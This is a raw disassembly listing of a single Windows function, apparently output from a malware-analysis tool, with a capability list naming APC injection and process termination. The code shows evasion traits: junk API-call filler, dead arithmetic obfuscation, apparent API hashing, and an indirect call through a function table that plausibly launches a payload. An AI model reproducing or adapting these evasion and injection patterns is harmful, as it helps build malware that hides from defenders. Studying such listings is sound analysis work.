Function at 0x100069f0
Capabilities:
Copy file
Enumerate files on windows
Enumerate gui resources
Get common file path
Get disk information
Get disk size
Inject apc
Read .ini file
Read file via mapping
Read pipe
Set environment variable
Terminate process
Terminate thread
Write pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003f09d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x464
call fcn.10003720
push 0x10068ff4
lea ecx, [ebp - 0x60]
call fcn.1000e410
mov dword [ebp - 4], 0
lea eax, [ebp - 0x60]
push eax
call fcn.100068e0
add esp, 4
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.1000e340
cmp dword [0x10040b04], 0x7825249
jne 0x10006c1d
push 0
call dword [sym.imp.KERNEL32.dll_CallbackMayRunLong]
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessDEPPolicy]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteSynchronizationBarrier]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpool]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push 0
call dword [sym.imp.GDI32.dll_EndPage]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolWork]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingNumaW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTimeEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibraryWhenCallbackReturns]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLanguageGroupsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepConditionVariableSRW]
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultDllDirectories]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommProperties]
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessPreferredUILanguages]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
call dword [sym.imp.KERNEL32.dll_ApplicationRecoveryInProgress]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitCommEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiberEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSynchronizationBarrier]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push 0
call dword [sym.imp.KERNEL32.dll_DebugBreakProcess]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
lea ecx, [ebp - 0x268]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jbe 0x10006c6f
cmp dword [ebp - 0x34], 0x104
jae 0x10006c6f
lea edx, [ebp - 0x470]
push edx
push 0
push 0x10069008
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x10006c6f
lea ecx, [ebp - 0x470]
push ecx
call fcn.1000bc50
add esp, 4
push 0x450d68fc
push 0x76357211
push 0x7b51dacb
call fcn.10006350
add esp, 0xc
mov edx, dword [0x10040b04]
xor eax, eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x44], 0xaef672e5
jne 0x10006e89
cmp dword [ebp - 0x40], 0
jne 0x10006e89
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0x10069014
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadDescription]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0
call dword [sym.imp.KERNEL32.dll_UnregisterWait]
push 0
call dword [sym.imp.KERNEL32.dll_FlsAlloc]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentExPointI]
push 0
call dword [sym.imp.KERNEL32.dll_RegisterBadMemoryNotification]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileW]
push 0
push 0
push 0x10069044
push 0
push 0x1006906c
push 0
call dword [sym.imp.KERNEL32.dll_FindStringOrdinal]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_AddFontResourceExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReOpenFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
push 0
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_UnregisterBadMemoryNotification]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentExPointI]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetFontData]
push 0
push 0
push 0
push 0
push 0
push 0x100690a0
push 0
push 0x100690dc
push 0
push 0x10069108
call dword [sym.imp.KERNEL32.dll_FindNLSStringEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_AddFontMemResourceEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.10005f60
add esp, 4
mov dword [ebp - 0x48], eax
mov edx, 4
imul eax, edx, 0x94
mov ecx, dword [0x1005f364]
mov edx, dword [ecx + eax]
add edx, 4
mov eax, 4
imul ecx, eax, 0x94
mov eax, dword [0x1005f364]
mov dword [eax + ecx], edx
cmp dword [0x10040b04], 0x538ba017
jne 0x1000704a
push 0
push 0
push 0x1006913c
push 0
push 0x10069164
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExEx]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFiber]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkTransactedW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push 0
call dword [sym.imp.KERNEL32.dll_UnregisterBadMemoryNotification]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPreferredUILanguages]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFiber]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolWork]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddIntegrityLabelToBoundaryDescriptor]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryIdleProcessorCycleTimeEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddIntegrityLabelToBoundaryDescriptor]
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPreferredUILanguages]
push 0
call fcn.10005d80
add esp, 4
mov dword [ebp - 0x10], 0x1d9b
mov dword [ebp - 0x18], 0x469
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x1c92
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, 0x172e
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x182c
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x1a08
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], 0
jmp 0x100070e0
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 0x4d
jge 0x100070f1
mov eax, dword [ebp - 0x10]
sub eax, 6
mov dword [ebp - 0x10], eax
jmp 0x100070d7
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x20], 0
jmp 0x10007130
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xe
jge 0x10007141
mov ecx, dword [ebp - 0x14]
sub ecx, 8
mov dword [ebp - 0x14], ecx
jmp 0x10007127
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x1f58
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x2701
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x1c40
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x2476
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xa75
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x1ee5
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0xfd6
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x963
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x26af
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x24], 0
jmp 0x10007217
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x4c
jge 0x10007228
mov ecx, dword [ebp - 0x10]
sub ecx, 9
mov dword [ebp - 0x10], ecx
jmp 0x1000720e
mov edx, dword [ebp - 0x10]
add edx, 0x16f9
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x2438
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x1ff7
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, 0x1aeb
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x25f7
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
and edx, 0x80000003
jns 0x1000727b
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x1000728a
mov eax, dword [ebp - 0x14]
add eax, 0x1717
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x1fdd
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x2550
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x28], 0
jmp 0x100072c6
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], 0x36
jge 0x100072d7
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
jmp 0x100072bd
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x2f0
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x1ab8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000732c
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
jmp 0x10007312
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x25bd
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x2139
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0xff7
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], 0
jmp 0x10007373
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], 0x32
jge 0x10007384
mov eax, dword [ebp - 0x14]
add eax, 7
mov dword [ebp - 0x14], eax
jmp 0x1000736a
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x67e
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x15ae
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x617
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 0xc93
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x30], 0
jmp 0x100073ea
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x38
jge 0x100073fb
mov ecx, dword [ebp - 0x18]
add ecx, 4
mov dword [ebp - 0x18], ecx
jmp 0x100073e1
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
push 0
push 0
call fcn.10008010
add esp, 8
mov eax, 4
imul ecx, eax, 0x94
mov edx, dword [0x1005f364]
mov eax, dword [edx + ecx]
mov dword [ebp - 0x3c], eax
call dword [ebp - 0x3c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push 0
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
push 0x1006918c
call dword [sym.imp.KERNEL32.dll_IsValidLocaleName]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueEx]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLocaleName]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push 0
call dword [sym.imp.KERNEL32.dll_LocalSize]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
push 0
push 0x100691c4
call dword [sym.imp.KERNEL32.dll_FindFirstFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForThreadpoolTimerCallbacks]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RtlPcToFileHeader]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlsSetValue]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeServerSessionId]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]